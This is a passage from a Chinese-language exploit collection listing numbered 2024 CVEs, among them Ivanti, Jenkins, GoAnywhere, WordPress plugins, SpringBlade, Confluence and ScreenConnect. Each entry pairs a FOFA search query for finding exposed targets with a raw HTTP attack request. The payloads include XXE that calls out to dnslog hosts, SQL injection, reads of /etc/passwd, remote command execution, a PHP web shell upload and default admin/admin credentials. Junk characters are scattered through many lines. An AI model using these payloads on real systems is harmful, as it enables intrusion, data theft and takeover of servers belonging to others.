0 @, ?+ K( z$ d8 o- `Accept-Encoding: gzip
+ j) z1 ?; l, c  [( P0 d
<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>             <ds:Signature           xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                   <ds:SignedInfo>                        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-cc14n#"/>                         <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>                    </ds:SignedInfo>                       <<ds:SignatureValue>qwerty</ds:SignatureValue>                    <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/22000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                         <ds:RetrievalMethod URI="http://kr9dqoau.dnslog.pw"/><<ds:X509Data/>                   </ds:KeyInfo>                  <ds:Object></ds:Object>         </ds:Signature> </soap:Body></soap:Envelope>
$ ]; r  C$ {: M3 W$ {* {7 A0 e3 r# W
103. Ivanti Pulse Connect Secure VPN XXE
, ?' }( K5 g/ X1 B* tCVE-2024-22024
FOFA：body="welcome.cgi?p=logo"
2 P% x& Q. d" k$ C- XPOST /dana-na/auth/saml-sso.cgi HTTP/1.1
Host: 192.168.40.130:111
8 R& Z7 E3 I; v5 O' @User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
; W' p8 ?% _, x9 [" G2 E( h0 [3 j  dConnection: close
Content-Length: 204
Content-Type: application/x-www-form-urlencoded
& c4 M! e4 w0 {; S0 C! XAccept-Encoding: gzip
0 K2 o0 e* _3 X7 o
" z& \- }/ F6 J1 t7 q4 Y, s0 Y/ hSAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vYzJ2a2J3YnMuZG5zbG9nLnB3L3giPiAld2F0Y2hUb3dyO10+PHI+PC9yPg==
! u* I( z0 J: W

其中SAMLRequest的值是xml文件内容的base64值，xml文件如下
<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM"http://c2vkbwbs.dnslog.pw/x"> %watchTowr;]><r></r>
2 C- Q) b' r- `2 j

2 {- h; T# y; {' y- @) r2 @104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
CVE-2024-0569
FOFA：title="TOTOLINK"
) @6 K7 i4 ]1 |: ^" R8 v' l# uPOST /cgi-bin/cstecgi.cgi HTTP/1.1
; {, o3 t- P% }; ZHost:192.168.0.1
Content-Length:41
Accept:application/json,text/javascript，*/*;q=0.01
X-Requested-with: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/99.0.4844.51Safari/537.36
Content-Type: application/x-www-form-urlencoded:charset=UTF-8
Origin: http://192.168.0.1
! b6 R& M$ u  j+ j' \Referer: http://192.168.0.1/advance/index.html?time=1671152380564
6 l& x8 f" d; e; KAccept-Encoding:gzip,deflate
Accept-Language:zh-Tw,zh:g=0.9.en-US:g=0.8.en:g=0.7
Connection:close

{
"topicurl":"getSysStatusCfg",
( M# ]0 P' p* m5 o"token":""
8 y7 S- Q0 Y/ ?}
+ ?0 x7 i. K8 ^* Q4 j- _6 }/ K) E: d
105. SpringBlade v3.2.0 export-user SQL 注入
, z6 L% G4 O2 @4 r' l0 PFOFA：body="https://bladex.vip"
: H. f: g' t( \3 r+ c. \0 Y# h% {http://192.168.40.130.90/api/bla ... ame&1-updatexml(1,concat(0x7e,md5(102103122),0x7e),1)=1
* a0 C3 ^7 b5 e) V  {% K# L
106. SpringBlade dict-biz/list SQL 注入
FOFA：body="Saber 将不能正常工作"
" O% |% t5 p  C: a! d7 X# LGET /api/blade-system/dict-biz/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
Host: your-ip
5 ~+ S( ]3 ]3 w" S& c3 O9 QUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
" M1 }9 J$ j+ B$ B+ tBlade-Auth: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwib2F1dGhfaWQiOiIiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzd29yZCIsImV4cCI6MTc5MTU3MzkyMiwibmJmIjoxNjkxNTcwMzIyfQ.wxB9etQp2DUL5d3-VkChwDCV3Kp-qxjvhIF_aD_beF_KLwUHV7ROuQeroayRCPWgOcmjsOVq6FWdvvyhlz9j7A
Accept-Encoding: gzip, deflate
, o0 _. v2 b! D4 G+ FAccept-Language: zh-CN,zh;q=0.9
Connection: close
$ q6 c9 Z2 ]) E
) o! w8 F/ y1 v+ A" z
; c3 \2 e7 W  D$ C/ }9 ~: Z4 j107. SpringBlade tenant/list SQL 注入
. H5 g: J( j0 l: F' O; {9 q8 z# }: uFOFA：body="https://bladex.vip"
GET /api/blade-system/tenant/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Blade-Auth:替换为自己的
Connection: close

: B5 Q. j: g8 Y, L* k: _2 J! J
108. D-Tale 3.9.0 SSRF
% l6 S1 l+ J+ o: `2 e4 A9 D5 u( K* s9 i+ zCVE-2024-21642
0 k" y0 H8 E  i3 [+ u' i9 KFOFA："dtale/static/images/favicon.png"
2 i. z: Y  e. D4 ]! H+ D4 _1 vGET /dtale/web-upload?type=csv&url=http%3A%2F%2Fa4xs0nop.dnslog.pw HTTP/1.1
2 ^# ?' Q- H- d6 R$ n! Y0 VHost: your-ip
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
, P: Z) u( F+ O' r1 m7 Q" QAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
3 A& u/ G4 O/ Y: D) ^4 e% V$ JConnection: close

5 ?# v# X: D3 [. h% z$ V* [6 M" {
109. Jenkins CLI 任意文件读取
CVE-2024-23897
FOFA：header="X-Jenkins"
POST /cli?remoting=false HTTP/1.1
Host:
6 f# f5 j: c9 R  ~' C9 yContent-type: application/octet-stream
Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
# c# l) i% i! x+ E8 T6 LSide: upload
Connection: keep-alive
Content-Length: 163

4 }. w( _& K9 V1 ^: s7 db'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'


POST /cli?remoting=false HTTP/1.1
Host:
$ {5 G( N( B3 C5 G$ n' V! KSession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
- u  u+ L' _1 A# ?, \7 Fdownload
Content-Type: application/x-www-form-urlencoded
Content-Length: 0


1 i' o5 }& t- R' Z$ uERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
java -jar jenkins-cli.jar help
[COMMAND]
Lists all the available commands or a detailed description of single command.
COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)


110. Goanywhere MFT 未授权创建管理员
CVE-2024-0204
FOFA：body="InvalidBrowser.xhtml"|| icon_hash="1484947000"|| icon_hash="1828756398"|| icon_hash="1170495932"
GET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.1
Host: 192.168.40.130:8000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
" V/ b# x" l! v! x* rConnection: close
Accept: */*
Accept-Language: en
/ O# N7 E% d$ G7 K# e) _Accept-Encoding: gzip
; ^/ C6 I* i3 N* X0 p8 [
' p$ v; S: \3 F5 J$ O4 C7 b9 e
6 G5 b. G, k$ I! k: F3 i111. WordPress Plugin HTML5 Video Player SQL注入
# n3 n4 f3 S% Q& r  Y9 jCVE-2024-1061
FOFA："wordpress" && body="html5-video-player"
GET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
$ b/ E; I& F% F' D' eHost: 192.168.40.130:112
% b2 M' r; q& r$ K% Q+ jUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
6 X* X0 M/ }; l9 v  PConnection: close
3 x1 y) w( s8 A% m: kAccept: */*
Accept-Language: en
Accept-Encoding: gzip


112. WordPress Plugin NotificationX SQL 注入
5 n, R4 c5 K8 w& |7 cCVE-2024-1698
3 U6 ?( Z$ U* D) F% h  VFOFA：body="/wp-content/plugins/notificationx"
POST /wp-json/notificationx/v1/analytics HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json

{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}
5 j  S$ ]7 G2 B

6 K& f+ M4 W; u( Q' T% q) s/ C113. WordPress Automatic 插件任意文件下载和SSRF
CVE-2024-27954
" R& D) a: `! q( ^* n2 uFOFA："/wp-content/plugins/wp-automatic"
GET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
) {6 y/ V0 F$ [. f6 G% ~, b! yConnection: close
Accept: */*
" r9 Y: j' `' U8 o1 U( j3 g- n: A* PAccept-Language: en
Accept-Encoding: gzip
5 t! s5 Z9 s/ \7 [, d2 {

114. WordPress MasterStudy LMS插件 SQL注入
0 n6 ]/ e/ J5 j5 R: B, [; WFOFA：body="wp-content/plugins/masterstudy-lms-learning-management-system/"
GET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%285%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1
& D" A6 o& F7 CHost: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
$ c+ ^0 `- z' ?8 ]# p9 pAccept-Charset: utf-8
" N/ i0 `! d: FAccept-Encoding: gzip, deflate
Connection: close
+ {7 C/ z( m2 k& W9 S

115. WordPress Bricks Builder <= 1.9.6 RCE
& |2 q% V! W" i) W4 P& d0 a$ \CVE-2024-25600
FOFA: body="/wp-content/themes/bricks/"
第一步，获取网站的nonce值
: D" D# r) [  k5 P3 jGET / HTTP/1.1
) e+ o; E  b; k- S$ \8 j" IHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
2 W4 R  \: ~8 VConnection: close
Accept-Encoding: gzip

+ V& i& W! m, k+ }/ t
9 X. L& M' \, S! I+ S, U" j* D第二步替换nonce值，执行命令
2 Q  j2 ?$ X' H( e2 [. m6 kPOST /wp-json/bricks/v1/render_element HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
7 O: V# G: |9 {( `7 J- DConnection: close
Content-Length: 356
Content-Type: application/json
2 K8 g0 G  D4 i5 E6 hAccept-Encoding: gzip
; ^7 B- K4 S" k1 C$ u7 z' z" c
{
" u1 s! z+ M) Q8 O"postId": "1",
% _2 Y5 A! y0 d3 G% k* r  "nonce": "第一步获得的值",
9 T0 M* H* X$ m' s6 o  "element": {
    "name": "container",
    "settings": {
+ v7 ~1 t( [, i- }      "hasLoop": "true",
      "query": {
        "useQueryEditor": true,
+ b4 S- _1 u) R% S        "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
6 d: L3 k- q$ A0 V: S7 Z        "objectType": "post"
) D: |! o0 c: C' f4 g      }
7 F/ O" O! Z4 w6 ^" c    }
  }
1 `* @$ C3 ]2 N  ^7 j3 C}
" b8 G% N5 c' t! a: K9 y3 u/ ~
* o" _. l* n1 ?# w( X
116. wordpress js-support-ticket文件上传
FOFA：body="wp-content/plugins/js-support-ticket"
& E0 t" p0 L+ e- uPOST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
8 S) h) k8 E4 z/ i' V9 x" PHost:
Content-Type: multipart/form-data; boundary=--------767099171
* q1 s; ]+ m6 r0 m8 o, M3 U( MUser-Agent: Mozilla/5.0

----------767099171
Content-Disposition: form-data; name="action"
configuration_saveconfiguration
! `: w* v" K) ~6 A  M----------767099171
Content-Disposition: form-data; name="form_request"
jssupportticket
----------767099171
' ]7 g; ]8 x9 h: r* c/ TContent-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"
Content-Type: image/png
& ]' S. t8 c* H6 ?. M# f# O3 a  B----------767099171--
! o9 q! V! D/ e! s0 H
) `$ C6 E$ t' T% U
% i, u$ H" {. ~- ^# }117. WordPress LayerSlider插件SQL注入
& e7 W3 D- [5 n# ^0 n/ ^version：7.9.11 – 7.10.0
: r6 Y. G# g0 J% ^/ Q9 vFOFA：body="/wp-content/plugins/LayerSlider/"
GET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and+(SELECT+6416+FROM+(SELECT(SLEEP(5)))nEiK)--+vqlq HTTP/1.1
- w' c# O/ _0 iHost: your-ip
8 v/ s' s' L5 @" B, PUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
( z  H' D4 t, {) qAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
7 V! V5 z0 b5 L+ ]Upgrade-Insecure-Requests: 1
  w* k& i2 M) y# Q7 f

118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
CVE-2024-0939
FOFA：title="Smart管理平台"
& R4 f) T3 Q. q0 h) J1 v* ]POST /Tool/uploadfile.php? HTTP/1.1
5 {- q! L0 ?6 m" aHost: 192.168.40.130:8443
Cookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
2 T& p$ s( s# }  k- hAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
/ o/ N0 E# J. G) Z/ g9 lAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
- k9 M0 }. J0 N; tAccept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
- y& X' A3 L5 ?Content-Length: 405
Origin: https://192.168.40.130:8443
Referer: https://192.168.40.130:8443/Tool/uploadfile.php
Upgrade-Insecure-Requests: 1
/ P9 b; L  L( S. g9 YSec-Fetch-Dest: document
1 Q8 k$ K* l* T  L& qSec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
$ W5 C2 y( Q7 l7 E& MTe: trailers
# I2 u, O% K; D' MConnection: close
4 a% o" J6 v/ Y+ s- j, m9 F# g
-----------------------------13979701222747646634037182887
! X0 }. `  |2 o" dContent-Disposition: form-data; name="file_upload"; filename="contents.php"
Content-Type: application/octet-stream
5 p. a) r4 G3 ~1 g1 Q) f& r) \
- D% _& s3 m( {8 f<?php
system($_POST["passwd"]);
2 i  ^6 [3 v6 l  q" x- w2 V4 I  Y  {?>
-----------------------------13979701222747646634037182887
7 F5 r9 Y/ P4 {! @9 i  W) y3 }Content-Disposition: form-data; name="txt_path"

7 w8 S7 h4 u6 P; K" ]: @5 N4 |/home/src.php
-----------------------------13979701222747646634037182887--
# l0 g( j1 G+ E- \6 X* d
* }6 m( m1 Y8 K+ g1 ~% f
4 t) u; u5 _3 F' }4 l0 W* O) @访问/home/src.php
2 a) W" x  b& n' K9 P2 j# N
119. 北京百绰智能S20后台sysmanageajax.php sql注入
CVE-2024-1254
  T. H$ W/ W0 D2 w; j; u) JFOFA：title="Smart管理平台"
先登录进入系统，默认账号密码为admin/admin
POST /sysmanage/sysmanageajax.php HTTP/1.11
2 I8 L/ T6 U) B* Z% hHost: x.x.x.x
3 C  l7 v- B/ u: CCookie: PHPSESSID=b7e24f2cb8b51338e8531e0b50da49ee
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: */*
2 S# i5 j% t% L. f# fAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded;
Content-Length: 109
Origin: https://58.18.133.60:8443
Referer: https://58.18.133.60:8443/sysmanage/manageadmin.php
; @' P/ g9 r" D* d) \Sec-Fetch-Dest: empty
- I  E" ^: _, H. ?Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
9 t, E7 k% q/ J; a# m; e' x- FX-Forwarded-For: 1.1.1.1
; k, v1 e7 m: o7 C0 yX-Originating-Ip: 1.1.1.1
X-Remote-Ip: 1.1.1.1
3 |' ^& v* D. i7 F) w- ]X-Remote-Addr: 1.1.1.1
0 R% }& `. d+ R- y/ NTe: trailers
1 }) k5 S& W  i% T: ~Connection: close
  `) o8 k8 @) B% G8 `! W# _* u
. l5 f6 f: R; L* {1 F# J/ Ysrc=manageadmin&type=add&id=(select*from(select+if(length(database())=3,sleep(5),1))a)|1|1&value=test2|123456

7 V) V& [7 X: n$ }4 E; V
0 N+ h4 X9 A8 z) Z120. 北京百绰智能S40管理平台导入web.php任意文件上传
CVE-2024-1253
FOFA：title="Smart管理平台"
POST /useratte/web.php? HTTP/1.1
: Y( M# E4 E  w. L3 D4 wHost: ip:port
Cookie: PHPSESSID=cb5c0eb7b9fabee76431aaebfadae6db
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
3 G( y/ S7 P' Y- d) p  [9 u$ |$ aAccept-Encoding: gzip, deflate
1 |3 x# n. r, V+ u7 r# n1 ]+ ]Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 597
2 L* i! u$ I2 Z' k5 C3 k+ J% _) |8 eOrigin: https://ip:port
Referer: https://ip:port/sysmanage/licence.php
- L6 p- `' Y: s* Z, U3 ~. L: QUpgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
4 C* x' b% \& [# D/ TSec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
9 `' F! S$ K; T- M( p* ITe: trailers
* k' N, M& Z! w3 b! ?  ?2 OConnection: close
( z, v- p) E5 W6 a: J0 g1 l1 |
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="file_upload"; filename="2.php"
Content-Type: application/octet-stream
3 |0 `: T' Q: x3 Z# V
<?php phpinfo()?>
5 F! ~% z3 E* a) e% p9 p, T-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="id_type"
) Z  S3 q$ W, `
1
* D: c, a: x' T  n, C0 d' G-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="1_ck"

. U. N, M! Z) _1_radhttp
* M- a5 v0 r/ H. Y# w' A-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="mode"
( K" ?- Q9 u9 |
import
; o3 C( o9 ]3 j; S& J! C-----------------------------42328904123665875270630079328
2 v, t4 e+ M4 W1 w
- X; k7 e1 H. h. V2 e  G, S6 ~
文件路径/upload/2.php

7 V% R+ n; L, g7 i/ H121. 北京百绰智能S42管理平台userattestation.php任意文件上传
" M3 a0 R( [( o1 ^  R0 ZCVE-2024-1918
/ u, X# r: M7 `  tFOFA：title="Smart管理平台"
& L0 \( u. [, T' N. |POST /useratte/userattestation.php HTTP/1.1
Host: 192.168.40.130:8443
Cookie: PHPSESSID=2174712c6aeda51c4fb6e6c5e6aaac50
3 M4 n% B5 ~! I6 @5 @/ XUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
1 ^$ `. D, {5 T9 d7 G' YAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
. V8 M6 z3 {9 L: p8 R9 a3 ZContent-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 592
/ k& D1 A2 y: E2 w5 U3 N' xOrigin: https://192.168.40.130:8443
Upgrade-Insecure-Requests: 1
$ O! z) Z: U. Q8 k2 v$ ASec-Fetch-Dest: document
0 D1 v) h& M5 Z" ESec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close

-----------------------------42328904123665875270630079328
  i0 M& ?. {# J! T; j! GContent-Disposition: form-data; name="web_img"; filename="1.php"
" w0 w! U& `, I& V# a  w2 a0 oContent-Type: application/octet-stream

<?php phpinfo();?>
" H+ n3 V! o2 A9 y, g. e-----------------------------42328904123665875270630079328
9 ?  e( n! o4 i% W* O) e4 I% \Content-Disposition: form-data; name="id_type"
- u% t* J) {  o4 ]/ G! L) R# {
1
-----------------------------42328904123665875270630079328
: L9 c( X" V5 D+ C7 y+ M) KContent-Disposition: form-data; name="1_ck"

1_radhttp
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="hidwel"

set
+ ]) y2 N( l/ V0 S2 Y% R-----------------------------42328904123665875270630079328
* S/ N0 r  O) o$ B" _

3 z/ B& r. k3 e( G6 jboot/web/upload/weblogo/1.php

2 ~& [. Z5 V/ j. P& @+ [* C122. 北京百绰智能s200管理平台/importexport.php sql注入
* C7 b2 A3 v* |5 TCVE-2024-27718FOFA：title="Smart管理平台"
其中sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=是sql语句使用base64加密后的内容，原文：sql=select 1,database(),version()
: e) `- j  d( ZGET /importexport.php?sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=&type=exportexcelbysql HTTP/1.1
Host: x.x.x.x
' b# Q/ v9 o% D$ iCookie: PHPSESSID=f20e837c8024f47058ad2f689873dfc0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
4 k; T- l1 O  r* v* Y1 [# H" dAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
! y9 T5 K; V3 _2 R$ t6 gAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
$ \: Q/ q9 b( \7 P7 Y, h1 g/ iAccept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
& C) \( `' P* x: u( u; RSec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
) A4 U6 c. }) w4 lSec-Fetch-User: ?1
Te: trailers
Connection: close


123. Atlassian Confluence 模板注入代码执行
& G* l( l& X8 SFOFA：app="ATLASSIAN-Confluence" && body="由 Atlassian 合流8.5.3"
POST /template/aui/text-inline.vm HTTP/1.1
Host: localhost:8090
0 o/ T( T; n' _# |! V' A# zAccept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
& X) S0 u0 C8 h& `  V# MUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
/ Y) g6 }5 T- PConnection: close
9 k4 a( M3 S& m$ a0 K5 \4 @) OContent-Type: application/x-www-form-urlencoded

label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))
' d, q) e; [! C4 I: e3 n! q

124. 湖南建研工程质量检测系统任意文件上传
  P5 ?$ b* I6 b! h2 P7 y& zFOFA：body="/Content/Theme/Standard/webSite/login.css"
POST /Scripts/admintool?type=updatefile HTTP/1.1
Host: 192.168.40.130:8282
% m+ M4 ], D' y6 }. U/ v, H+ aUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Content-Length: 72
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
, a' h4 B& l, M5 s  S/ dAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
/ m/ E0 a* d; S" v9 FConnection: close
Content-Type: application/x-www-form-urlencoded

+ O! o* |3 Z9 c$ s6 H! F! jfilePath=abcgcg.aspx&fileContent=<%Response.Write("Hello,World")%>
7 S/ u) |3 M9 z" v
8 `) A: G/ s* U9 t0 X$ {8 \0 R* Y
http://192.168.40.130:8282/Scripts/abcgcg.aspx

! e, {% P. T$ E/ x/ M125. ConnectWise ScreenConnect身份验证绕过
. v% l3 h4 U$ R; HCVE-2024-1709
+ B3 |9 B8 ?( w" {& l# S( rFOFA：icon_hash="-82958153"
/ K4 y2 l  j4 V2 q1 X4 a" Jhttps://github.com/watchtowrlabs ... bypass-add-user-poc
5 e' R1 g, D* E8 P

$ r6 C' K2 A) w" Z0 j, D使用方法
python watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!


9 q" [, w7 k9 M+ U$ O, s创建好用户后直接登录后台，可以执行系统命令。
$ }$ ~# m, k$ l( N+ M
, r5 s/ w8 F9 {' E0 G. t126. Aiohttp 路径遍历
FOFA：title=="ComfyUI"
# F6 B8 X0 b' b8 `$ PGET /static/../../../../../etc/passwd HTTP/1.1
  s! q* B0 J) U+ w4 w+ XHost: x.x.x.x
. O7 l0 z5 F- N. `User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
. r$ P0 z9 d0 K
/ K& h% f5 F! c& l
127. 广联达Linkworks DataExchange.ashx XXE
$ x5 n/ t! @3 g- p/ z: ]  \FOFA：body="Services/Identification/login.ashx"
5 ~0 s; Q1 q' v& fPOST /GB/LK/Document/DataExchange/DataExchange.ashx HTTP/1.1
! }8 N" b5 W% VHost: 192.168.40.130:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
. l: S+ x; ^* y8 C# V( YContent-Length: 415
1 X1 c" O' }. g* ~4 E: V, MAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
/ A3 w. V; K) O) B+ z7 Y  h8 }+ _+ @Accept-Encoding: gzip, deflate
4 s% u3 J& Y: X* p0 q2 f" L1 f5 pAccept-Language: zh-CN,zh;q=0.9
Connection: close
" ^' a1 w8 Q) kContent-Type: multipart/form-data;boundary=----WebKitFormBoundaryJGgV5l5ta05yAIe0
. g$ w: M) @0 r1 ?& WPurpose: prefetch
, T+ ]' u& I% d4 |Sec-Purpose: prefetch;prerender

; E! l( A  Q# H% P* {------WebKitFormBoundaryJGgV5l5ta05yAIe0
/ ~5 l' L1 S2 U* l( u5 KContent-Disposition: form-data;name="SystemName"

BIM
------WebKitFormBoundaryJGgV5l5ta05yAIe0
: y8 s- Y0 W- @2 D  s4 S9 ~( BContent-Disposition: form-data;name="Params"
$ S( e) J% b3 w( F- }- k# ZContent-Type: text/plain
2 o3 k4 G& z* J8 s, a9 k
' L. J$ A; m) ], z0 T5 W<?xml version="1.0" encoding="UTF-8"?>
